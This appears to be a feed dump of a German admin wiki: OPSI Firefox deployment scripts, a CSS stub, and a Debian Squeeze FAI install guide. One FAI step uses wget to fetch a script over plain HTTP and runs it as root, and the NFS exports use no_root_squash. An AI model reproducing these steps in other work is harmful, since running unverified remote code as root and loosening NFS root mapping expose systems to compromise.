    if FileExists(&amp;quot;%ScriptPath%\delsub.ins&amp;quot;)&lt;br /&gt;
        comment &amp;quot;start delsub.ins&amp;quot;&lt;br /&gt;
        sub &amp;quot;%ScriptPath%\delsub.ins&amp;quot;&lt;br /&gt;
    endif&lt;br /&gt;
    comment &amp;quot;Meldung waehrend der Installation:&amp;quot;&lt;br /&gt;
    Message &amp;quot;Installiere Firefox...&amp;quot;&lt;br /&gt;
    comment &amp;quot;Stoppe alle laufenden Firefox&amp;quot;&lt;br /&gt;
    killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
    comment &amp;quot;pruefe nach depotshare&amp;quot;&lt;br /&gt;
    if not (FileExists(&amp;quot;%SCRIPTPATH%&amp;quot;))&lt;br /&gt;
        DosInAnIcon_TryToReconnect&lt;br /&gt;
    endif&lt;br /&gt;
  &lt;br /&gt;
    comment &amp;quot;Starte Setup Programm&amp;quot;&lt;br /&gt;
    Files_copy_local&lt;br /&gt;
    Winbatch_firefox&lt;br /&gt;
    sub_check_exitcode&lt;br /&gt;
    comment &amp;quot;Stope alle laufenden Firefox&amp;quot;&lt;br /&gt;
    killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
    if not(FileExists($NewExe$))&lt;br /&gt;
        logError &amp;quot;Fatal: Nach der Installation &amp;quot;+$NewExe$+&amp;quot; nicht gefunden&amp;quot;&lt;br /&gt;
        isFatalError&lt;br /&gt;
    endif&lt;br /&gt;
 &lt;br /&gt;
    comment &amp;quot;loesche temporaere Dateien&amp;quot;&lt;br /&gt;
    Files_del&lt;br /&gt;
 endif&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 [Files_copy_local]&lt;br /&gt;
 copy -x &amp;quot;%SCRIPTPATH%\files\$FIREFOXVER$&amp;quot; c:\tmp&lt;br /&gt;
 copy -s &amp;quot;%scriptpath%\firefox-profile\*&amp;quot; &amp;quot;$InstallDir$\defaults\profile\.&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 [Files_del]&lt;br /&gt;
 delete -f &amp;quot;c:\tmp\$FIREFOXVER$&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [Winbatch_firefox]&lt;br /&gt;
 ; see http://wiki.mozilla.org/Installer:Command_Line_Arguments&lt;br /&gt;
 &amp;quot;c:\tmp\$FIREFOXVER$&amp;quot; $SilentSwitch$&lt;br /&gt;
  &lt;br /&gt;
 [dosbatch_profiledir]&lt;br /&gt;
 @echo off&lt;br /&gt;
 dir &amp;quot;%ProfileDir%&amp;quot; /b&lt;br /&gt;
  &lt;br /&gt;
 [DosInAnIcon_TryToReconnect]&lt;br /&gt;
 net use&lt;br /&gt;
 set TIMEOUT=&lt;br /&gt;
 :TRY&lt;br /&gt;
     if exist &amp;quot;%SCRIPTPATH%\.&amp;quot; goto READY&lt;br /&gt;
     %ScriptDrive%&lt;br /&gt;
     set TIMEOUT=%TIMEOUT%1&lt;br /&gt;
     if %TIMEOUT% == 1111111111111111 goto READY&lt;br /&gt;
     sleep 1&lt;br /&gt;
     net use&lt;br /&gt;
     goto TRY&lt;br /&gt;
 :READY&lt;br /&gt;
  &lt;br /&gt;
 [PatchTextFile_profile_proxy_file]&lt;br /&gt;
 Set_Netscape_User_Pref (&amp;quot;network.proxy.type&amp;quot;, 2)&lt;br /&gt;
 Set_Netscape_User_Pref (&amp;quot;network.proxy.autoconfig_url&amp;quot;, &amp;quot;file:///$PROXY_HOSTNAME_OR_IP$&amp;quot;)&lt;br /&gt;
  &lt;br /&gt;
 [sub_check_exitcode]&lt;br /&gt;
 comment &amp;quot;test for installation success via exit code&amp;quot;&lt;br /&gt;
 set $ExitCode$ = getLastExitCode&lt;br /&gt;
 ; informations to exit codes see&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa372835(VS.85).aspx&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa368542.aspx&lt;br /&gt;
 if ($ExitCode$ = &amp;quot;0&amp;quot;)&lt;br /&gt;
   comment &amp;quot;looks good: setup program gives exitcode zero&amp;quot;&lt;br /&gt;
   else&lt;br /&gt;
   comment &amp;quot;Setup program gives a exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
   if ($ExitCode$ = &amp;quot;1605&amp;quot;)&lt;br /&gt;
      comment &amp;quot;ERROR_UNKNOWN_PRODUCT   1605   This action is only valid for products that are currently installed.&amp;quot;&lt;br /&gt;
      comment &amp;quot;Uninstall of a not installed product failed - no problem&amp;quot;&lt;br /&gt;
   else&lt;br /&gt;
      if ($ExitCode$ = &amp;quot;1641&amp;quot;)&lt;br /&gt;
         comment &amp;quot;looks good: setup program gives exitcode 1641&amp;quot;&lt;br /&gt;
         comment &amp;quot;ERROR_SUCCESS_REBOOT_INITIATED   1641   The installer has initiated a restart. This message is indicative of a success.&amp;quot;&lt;br /&gt;
      else&lt;br /&gt;
         if ($ExitCode$ = &amp;quot;3010&amp;quot;)&lt;br /&gt;
            comment &amp;quot;looks good: setup program gives exitcode 3010&amp;quot;&lt;br /&gt;
            comment &amp;quot;ERROR_SUCCESS_REBOOT_REQUIRED   3010   A restart is required to complete the install. This message is indicative of a success.&amp;quot;&lt;br /&gt;
         else&lt;br /&gt;
            logError &amp;quot;Fatal: Setup program gives an unknown exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
            isFatalError&lt;br /&gt;
         endif&lt;br /&gt;
      endif&lt;br /&gt;
   endif&lt;br /&gt;
 endif&lt;br /&gt;
&lt;br /&gt;
Die Datei uninstall.ins sieht wie folgt aus:&lt;br /&gt;
 [Initial]&lt;br /&gt;
 ; Script angepasst von Oliver Schuetz&lt;br /&gt;
 Message=Deinstalliere Firefox ...&lt;br /&gt;
 LogLevel=2&lt;br /&gt;
 ExitOnError=false&lt;br /&gt;
 ScriptErrorMessages=on&lt;br /&gt;
 TraceMode=off&lt;br /&gt;
 &lt;br /&gt;
 [Actions]&lt;br /&gt;
 requiredWinstVersion &amp;gt;= &amp;quot;4.10.8.6&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 DefVar $UninstallProgram32$&lt;br /&gt;
 DefVar $MsiId64$&lt;br /&gt;
 DefVar $UninstallProgram64$&lt;br /&gt;
 DefVar $LogDir$&lt;br /&gt;
 DefVar $ExitCode$&lt;br /&gt;
 DefVar $ProductId$&lt;br /&gt;
 DefVar $MozInstallDir$&lt;br /&gt;
 DefVar $MozInstallDir64$&lt;br /&gt;
 DefVar $LicenseRequired$&lt;br /&gt;
 DefVar $LicensePool$&lt;br /&gt;
 DefVar $INST_SystemType$&lt;br /&gt;
 DefVar $INST_architecture$&lt;br /&gt;
 DefVar $UninstallCommand$&lt;br /&gt;
  &lt;br /&gt;
 Set $INST_SystemType$ = GetSystemType&lt;br /&gt;
 set $INST_architecture$ = GetProductProperty(&amp;quot;install_architecture&amp;quot;,&amp;quot;system specific&amp;quot;)&lt;br /&gt;
  &lt;br /&gt;
 Set $LogDir$ = &amp;quot;%SystemDrive%\tmp&amp;quot;&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
 ; - Please edit the following values                             -&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
 Set $ProductId$       = &amp;quot;firefox&amp;quot;&lt;br /&gt;
 Set $MozInstallDir$    = &amp;quot;%ProgramFilesDir%\Mozilla Firefox&amp;quot;&lt;br /&gt;
 Set $LicenseRequired$ = &amp;quot;false&amp;quot;&lt;br /&gt;
 Set $LicensePool$     = &amp;quot;p_&amp;quot; + $ProductId$&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
 comment &amp;quot;Zeige Produkt Bild&amp;quot;&lt;br /&gt;
 ShowBitmap &amp;quot;%ScriptPath%\&amp;quot; + &amp;quot;icon.bmp&amp;quot; $ProductId$&lt;br /&gt;
  &lt;br /&gt;
 Message &amp;quot;Deinstalliere &amp;quot; + $ProductId$ + &amp;quot; ...&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 if FileExists(&amp;quot;%ScriptPath%\delsub.ins&amp;quot;)&lt;br /&gt;
         comment &amp;quot;Start uninstall sub section&amp;quot;&lt;br /&gt;
         Sub &amp;quot;%ScriptPath%\delsub.ins&amp;quot;&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 if $LicenseRequired$ = &amp;quot;true&amp;quot;&lt;br /&gt;
         comment &amp;quot;Licensing required, free license used&amp;quot;&lt;br /&gt;
         Sub_free_license&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 [Sub_free_license]&lt;br /&gt;
 comment &amp;quot;License management is enabled and will be used&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 comment &amp;quot;Trying to free license used for the product&amp;quot;&lt;br /&gt;
 DefVar $result$&lt;br /&gt;
 Set $result$ = FreeLicense($LicensePool$)&lt;br /&gt;
 ; If there is an assignment of a license pool to the product, it is possible to use&lt;br /&gt;
 ; Set $result$ = FreeLicense(&amp;quot;&amp;quot;, $ProductId$)&lt;br /&gt;
 ;&lt;br /&gt;
 ; If there is an assignment of a license pool to a windows software id, it is possible to use&lt;br /&gt;
 ; DefVar $WindowsSoftwareId$&lt;br /&gt;
 ; $WindowsSoftwareId$ = &amp;quot;...&amp;quot;&lt;br /&gt;
 ; set $result$ = FreeLicense(&amp;quot;&amp;quot;, &amp;quot;&amp;quot;, $WindowsSoftwareId$)&lt;br /&gt;
&lt;br /&gt;
Die Datei delsub.ins sieht wie folgt aus:&lt;br /&gt;
 ;************************************************************&lt;br /&gt;
 ;&lt;br /&gt;
 ;delsub.ins&lt;br /&gt;
 ;&lt;br /&gt;
 ;************************************************************&lt;br /&gt;
  &lt;br /&gt;
 ; Message at install time:&lt;br /&gt;
 Message &amp;quot;Deinstalliere &amp;quot;+$ProductId$+&amp;quot; ...&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 ; kill a running firefox&lt;br /&gt;
 killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 ; if firefox uninstall program exists then start it&lt;br /&gt;
  &lt;br /&gt;
 if FileExists(&amp;quot;&amp;quot;+$MozInstallDir$+&amp;quot;\uninstall\helper.exe&amp;quot;)&lt;br /&gt;
     set $UninstallCommand$ = &amp;quot;&amp;quot;+$MozInstallDir$+&amp;quot;\uninstall\helper.exe&amp;quot;&lt;br /&gt;
     set $UninstallCommand$ = &#039;&amp;quot;&#039;+$UninstallCommand$+&#039;&amp;quot; /S&#039;&lt;br /&gt;
     WinBatch_start_FirefoxUninstall /WaitSeconds 20&lt;br /&gt;
     sub_check_exitcode&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 ; delete registry entry to the current installed version&lt;br /&gt;
 Registry_delete_current_version&lt;br /&gt;
 ; delete files of current version&lt;br /&gt;
 if not ($MozInstallDir$ = &amp;quot;&amp;quot;)&lt;br /&gt;
         Files_copy_deinstall&lt;br /&gt;
 endif&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 [WinBatch_start_FirefoxUninstall]&lt;br /&gt;
 $UninstallCommand$&lt;br /&gt;
 ;%SCRIPTPATH%\sleep 5&lt;br /&gt;
  &lt;br /&gt;
 [Files_copy_deinstall]&lt;br /&gt;
 delete -sf &amp;quot;$MozInstallDir$\&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [Registry_delete_current_version]&lt;br /&gt;
 OpenKey [HKEY_LOCAL_MACHINE\Software\Mozilla\Mozilla Firefox]&lt;br /&gt;
 set &amp;quot;CurrentVersion&amp;quot; = &amp;quot;&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [sub_check_exitcode]&lt;br /&gt;
 comment &amp;quot;test for installation success via exit code&amp;quot;&lt;br /&gt;
 set $ExitCode$ = getLastExitCode&lt;br /&gt;
 ; informations to exit codes see&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa372835(VS.85).aspx&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa368542.aspx&lt;br /&gt;
 if ($ExitCode$ = &amp;quot;0&amp;quot;)&lt;br /&gt;
         comment &amp;quot;looks good: setup program gives exitcode zero&amp;quot;&lt;br /&gt;
 else&lt;br /&gt;
         comment &amp;quot;Setup program gives a exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
         if ($ExitCode$ = &amp;quot;1605&amp;quot;)&lt;br /&gt;
                 comment &amp;quot;ERROR_UNKNOWN_PRODUCT  1605    This action is only valid for products that are currently installed.&amp;quot;&lt;br /&gt;
                 comment &amp;quot;Uninstall of a not installed product failed - no problem&amp;quot;&lt;br /&gt;
         else&lt;br /&gt;
                 if ($ExitCode$ = &amp;quot;1641&amp;quot;)&lt;br /&gt;
                         comment &amp;quot;looks good: setup program gives exitcode 1641&amp;quot;&lt;br /&gt;
                         comment &amp;quot;ERROR_SUCCESS_REBOOT_INITIATED 1641    The installer has initiated a restart. This message is indicative of a success.&amp;quot;&lt;br /&gt;
                 else&lt;br /&gt;
                         if ($ExitCode$ = &amp;quot;3010&amp;quot;)&lt;br /&gt;
                                 comment &amp;quot;looks good: setup program gives exitcode 3010&amp;quot;&lt;br /&gt;
                                 comment &amp;quot;ERROR_SUCCESS_REBOOT_REQUIRED  3010    A restart is required to complete the install. This message is indicative of a success.&amp;quot;&lt;br /&gt;
                         else&lt;br /&gt;
                                 logError &amp;quot;Fatal: Setup program gives an unknown exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
                                 isFatalError&lt;br /&gt;
                         endif&lt;br /&gt;
                 endif&lt;br /&gt;
         endif&lt;br /&gt;
 endif&lt;br /&gt;
&lt;br /&gt;
Die Datei icon.bmp enthaelt das Logo/Icon des Installers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun laden wir die zuvor erstellten Files nach /home/opsiproducts/firefox/CLIENT_DATA auf den Server.&lt;br /&gt;
Die Ordnerstruktur sollte dann wie folgt aussehen:&lt;br /&gt;
 /home/opsiproducts/firefox&lt;br /&gt;
 drwxr-s---  3 root pcpatch     4096 27. Sep 12:59 CLIENT_DATA&lt;br /&gt;
 drwxr-s---  2 root pcpatch     4096 27. Sep 12:58 OPSI&lt;br /&gt;
 drwxr-s---  2 root pcpatch     4096 27. Sep 12:58 SERVER_DATA&lt;br /&gt;
 /home/opsiproducts/firefox/CLIENT_DATA&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2584  4. Jun 20:48 delsub.ins&lt;br /&gt;
 drwxr-xr-x 2 root pcpatch  4096 27. Sep 12:59 files&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch 40074  4. Jun 20:48 icon.bmp&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  4477 27. Sep 12:56 install.ins&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2017  4. Jun 20:48 uninstall.ins&lt;br /&gt;
 /home/opsiproducts/firefox/CLIENT_DATA/files&lt;br /&gt;
 -rw-r--r-- 1 root root    17653976 27. Sep 10:36 Firefox Setup 16.0.1.exe&lt;br /&gt;
&lt;br /&gt;
Jetzt koennen wir das OPSI Paket erstellen lassen:&lt;br /&gt;
 cd /home/opsiproducts/firefox&lt;br /&gt;
 opsi-makeproductfile&lt;br /&gt;
&lt;br /&gt;
Als letztes installieren wir das erzeugte Paket:&lt;br /&gt;
 opsi-package-manager -i /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
&lt;br /&gt;
Falls man schon eine fruehere Version auf den Clients installiert hatte, kann man diese nun automatisch beim Installieren des neuen Paketes auf setup oder update setzen:&lt;br /&gt;
 opsi-package-manager -iS /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
 opsi-package-manager -iU /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
&lt;br /&gt;
Jetzt einmal die Management-Oberflaeche (opsi-configed) neu laden und schon sollte unter Produktkonfiguration das Firefox Paket auftauchen.&lt;br /&gt;
Nun den Client/die Clients auswaehlen und Firefox auf setup stellen, dann einmal auf den roten Haken (Speichern der Konfiguration) klicken, schon sollte beim naechsten booten Firefox installiert werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
KioskMode aktivieren und konfigurieren:&lt;br /&gt;
In der Management-Oberflaeche (opsi-configed) wechseln wir in die Server-Konfiguration. Hier stellen wir software-on-demand.active auf true, software-on-demand.product-group-ids lassen wir auf software-on-demand stehen und software-on-demand.show-details stellen wir auf true.&lt;br /&gt;
Jetzt wechseln wir in die Client-Konfiguration und dort nach Produktkonfiguration. Hier klicken wir auf Einblenden und geben der neuen Gruppe einen Namen und zwar software-on-demand, so wie es auch in software-on-demand.product-group-ids steht und als Beschreibung z.B. Software auf Anfrage. Jetzt waehlen wir mit Steuerungstaste (strg) die Pakete aus die ins SofwareOnDemand einfliessen sollen aus und klicken danach auf speichern.&lt;br /&gt;
Jetzt muessen wir auf den vorhandenen Clients nur die neue Version von opsi-client-agent installieren (auf neuen Clients geschieht dies automatisch) und schon erscheint im Client unter Start&amp;gt;Programme&amp;gt;opsi.org der Eintrag software-on-demand, womit sich Programme einfach installieren, deinstallieren und neu installieren lassen.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=MediaWiki:Common.css&amp;diff=92</id>
		<title>MediaWiki:Common.css</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=MediaWiki:Common.css&amp;diff=92"/>
		<updated>2013-04-29T19:31:22Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „/* Das folgende CSS wird für alle Benutzeroberflächen geladen. */ pre {white-space:pre-wrap;}“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Das folgende CSS wird für alle Benutzeroberflächen geladen. */&lt;br /&gt;
pre {white-space:pre-wrap;}&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=FAI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=91</id>
		<title>FAI INSTALL FAQ AUF DEBIAN SQUEEZE</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=FAI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=91"/>
		<updated>2013-04-29T19:08:40Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;FAI INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 05.07.2011) [ © OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Hier unsere Server/Client Beispiele dieser Anleitung:&lt;br /&gt;
 FAI Server, Debian Squeeze 6.0x, IP 192.168.39.2, Hostname fai&lt;br /&gt;
 Client 1, MAC Adresse 08:00:22:22:22:21, IP 192.168.39.226, Hostname debian-squeeze-1&lt;br /&gt;
 Router, IP 192.168.39.253, Hostname router&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes als User root einloggen:&lt;br /&gt;
 sudo -s&lt;br /&gt;
oder&lt;br /&gt;
 su&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Die Clients in /etc/hosts eintragen, wird fuer den PXE Boot benoetigt:&lt;br /&gt;
 echo &amp;quot;192.168.39.226  debian-squeeze-1&amp;quot; &amp;gt;&amp;gt; /etc/hosts&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Folgende Packete installieren:&lt;br /&gt;
 aptitude install fai-client fai-doc fai-server fai-quickstart atftpd dhcp3-server xinetd syslinux nfs-kernel-server apt-move makepasswd apache2 apt-cacher&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes erstellen wir den apt-cacher:&lt;br /&gt;
 apache2ctl graceful&lt;br /&gt;
In /etc/default/apt-cacher setzen wir AUTOSTART=1&lt;br /&gt;
&lt;br /&gt;
In /etc/apt-cacher/apt-cacher.conf koennen wir noch Anpassungen machen.&lt;br /&gt;
&lt;br /&gt;
Danach starten wir den apt-cacher Daemon&lt;br /&gt;
 /etc/init.d/apt-cacher restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun das Script debian-squeeze-fai-i386-amd64-config-script downloaden und ausfuehren:&lt;br /&gt;
 wget http://unix.oppserver.net/debian/fai/debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
 chmod +x debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
 ./debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
 rm debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt das FAI root Passwort (FAI_ROOTPW) erzeugen:&lt;br /&gt;
 makepasswd --crypt-md5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In /etc/fai-i386/make-fai-nfsroot.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 NFSROOT=/srv/fai/nfsroot-i386&lt;br /&gt;
 FAI_ROOTPW=&#039;...&#039;&lt;br /&gt;
 FAI_DEBOOTSTRAP_OPTS=&amp;quot;--arch i386&amp;quot; &lt;br /&gt;
 APT_CONFIG=/etc/fai-i386/apt_arch.conf&lt;br /&gt;
&lt;br /&gt;
In /etc/fai-amd64/make-fai-nfsroot.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 NFSROOT=/srv/fai/nfsroot-amd64&lt;br /&gt;
 FAI_ROOTPW=&#039;...&#039;&lt;br /&gt;
 FAI_DEBOOTSTRAP_OPTS=&amp;quot;--arch amd64&amp;quot; &lt;br /&gt;
 APT_CONFIG=/etc/fai-amd64/apt_arch.conf&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/make-fai-nfsroot.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 FAI_ROOTPW=&#039;...&#039;&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/fai.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 FAI_CONFIG_SRC=nfs://192.168.39.2/srv/fai/config&lt;br /&gt;
 LOGUSER=fai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benoetigte Ordner erstellen:&lt;br /&gt;
 mkdir -p /srv/fai/mirror/i386/debian-squeeze&lt;br /&gt;
 mkdir -p /srv/fai/mirror/amd64/debian-squeeze&lt;br /&gt;
 mkdir -p /srv/fai/nfsroot-i386&lt;br /&gt;
 mkdir -p /srv/fai/nfsroot-amd64&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In /etc/exports folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
&lt;br /&gt;
 /srv/fai/config 192.168.39.0/24(async,ro,no_subtree_check)&lt;br /&gt;
 /srv/fai/nfsroot-i386 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
 /srv/fai/nfsroot-amd64 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
 /srv/fai/mirror/i386/debian-squeeze 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
 /srv/fai/mirror/amd64/debian-squeeze 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
&lt;br /&gt;
Und den NFS Server restarten:&lt;br /&gt;
 /etc/init.d/nfs-kernel-server restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Eine neue sources.list downloaden:&lt;br /&gt;
 mv /etc/fai/apt/sources.list /etc/fai/apt/sources.list.orig&lt;br /&gt;
 wget http://unix.oppserver.net/debian/sources.list.squeeze -O /etc/fai/apt/sources.list.squeeze&lt;br /&gt;
Diese nun mit folgendem ergaenzen:&lt;br /&gt;
&lt;br /&gt;
 #Apt-Cacher&lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/ftp.debian.org/debian/ squeeze contrib main non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/ftp.debian.org/debian/ squeeze contrib main non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/backports.debian.org/debian-backports squeeze-backports main contrib non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/backports.debian.org/debian-backports squeeze-backports main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/deb.opera.com/opera/ squeeze non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian-multimedia.informatik.uni-erlangen.de/debian-multimedia/ squeeze main non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian-multimedia.informatik.uni-erlangen.de/debian-multimedia/ squeeze main&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/www.lamaresh.net/apt squeeze main&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/download.virtualbox.org/virtualbox/debian squeeze contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/download.webmin.com/download/repository sarge contrib&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/download.tuxfamily.org/shames/debian-lenny/desktopfx/unstable/ ./&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/www.prodeia.de/mms/squeeze binary/&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/www.prodeia.de/mms source/&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian.oppserver.net/debian squeeze contrib main non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian.oppserver.net/debian squeeze contrib main non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian.oppserver.net/xbmc/ squeeze main non-free contrib&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian.oppserver.net/xbmc/ squeeze main non-free contrib&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian.oppserver.net/enna squeeze main non-free contrib&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian.oppserver.net/enna squeeze main non-free contrib&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/NFSROOT bei &amp;quot;PACKAGES aptitude&amp;quot; folgendes hinzufuegen:&lt;br /&gt;
 live-initramfs initramfs-tools vim&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/NFSROOT bei &amp;quot;PACKAGES aptitude I386&amp;quot; folgendes ersetzen:&lt;br /&gt;
 linux-image-2.6-686&lt;br /&gt;
 linux-headers-2.6-686&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/NFSROOT bei &amp;quot;PACKAGES aptitude AMD64&amp;quot; folgendes hinzufuegen:&lt;br /&gt;
 linux-headers-2.6-amd64&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kopieren der default Config (z.B. /srv/fai/config/disk_config fuer die Partitionierung):&lt;br /&gt;
 cp -a /usr/share/doc/fai-doc/examples/simple/* /srv/fai/config/&lt;br /&gt;
&lt;br /&gt;
Konfigurieren der eigenen Pakete die installiert werden sollen, in /srv/fai/config/package_config/OWN folgendes hinzufuegen:&lt;br /&gt;
 PACKAGES aptitude&lt;br /&gt;
 sudo gcc g++ make zip bzip2 unzip psmisc libc6 libc6-dev unrar kde-full kde-i18n-de kde-l10n-de kdm xserver-xorg&lt;br /&gt;
 iceweasel iceweasel-l10n-de opera flashplugin-nonfree wine&lt;br /&gt;
 subversion subversion-tools cvs mercurial&lt;br /&gt;
 webmin ssh proftpd-basic samba smbfs smbclient nfs-common nfs-kernel-server sendmail telnetd smbldap-tools&lt;br /&gt;
 k3b k3b-i18n &lt;br /&gt;
&lt;br /&gt;
 cdrdao dvd+rw-tools libdvdcss2 openssl cryptsetup &lt;br /&gt;
&lt;br /&gt;
 sun-java6-jdk sun-java6-plugin &lt;br /&gt;
&lt;br /&gt;
 xine-ui mplayer mencoder kmplayer mplayer-skin-blue amarok libxvidcore4 libxvidcore4-dev avifile-xvid-plugin xvid4conf vlc ffmpeg faad faac libfaac-dev liba52-0.7.4 liba52-0.7.4-dev lame libogg-dev libtheora-dev libvorbis-dev alsa-base alsa-oss alsa-tools alsa-utils alsa-source libx264-dev libmp4v2-dev libid3tag0-dev libmad0-dev libsndfile1-dev libflac-dev libasound2-dev openoffice.org openoffice.org-help-de openoffice.org-hyphenation-de openoffice.org-l10n-de openoffice.org-thesaurus-de-ch openoffice.org-thesaurus-de openoffice.org-kde ttf-mscorefonts-installer ttf-bitstream-vera ttf-freefont ttf-junicode sun-java6-fonts ttf-xfree86-nonfree&lt;br /&gt;
&lt;br /&gt;
Konfigurieren der default Config, in /srv/fai/config/class/50-host-classes folgendes ersetzen:&lt;br /&gt;
    *)&lt;br /&gt;
        echo &amp;quot;FAIBASE DHCPC GERMAN OWN&amp;quot; ;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun kommen wir zum erstellen des FAI NFSroot und des FAI Mirrors fuer i386 (wird auch zum update ausgefuehrt):&lt;br /&gt;
 export FAI_DEBMIRROR=192.168.39.2:/srv/fai/mirror/i386/debian-squeeze&lt;br /&gt;
 export FAI_ETC_DIR=/etc/fai-i386&lt;br /&gt;
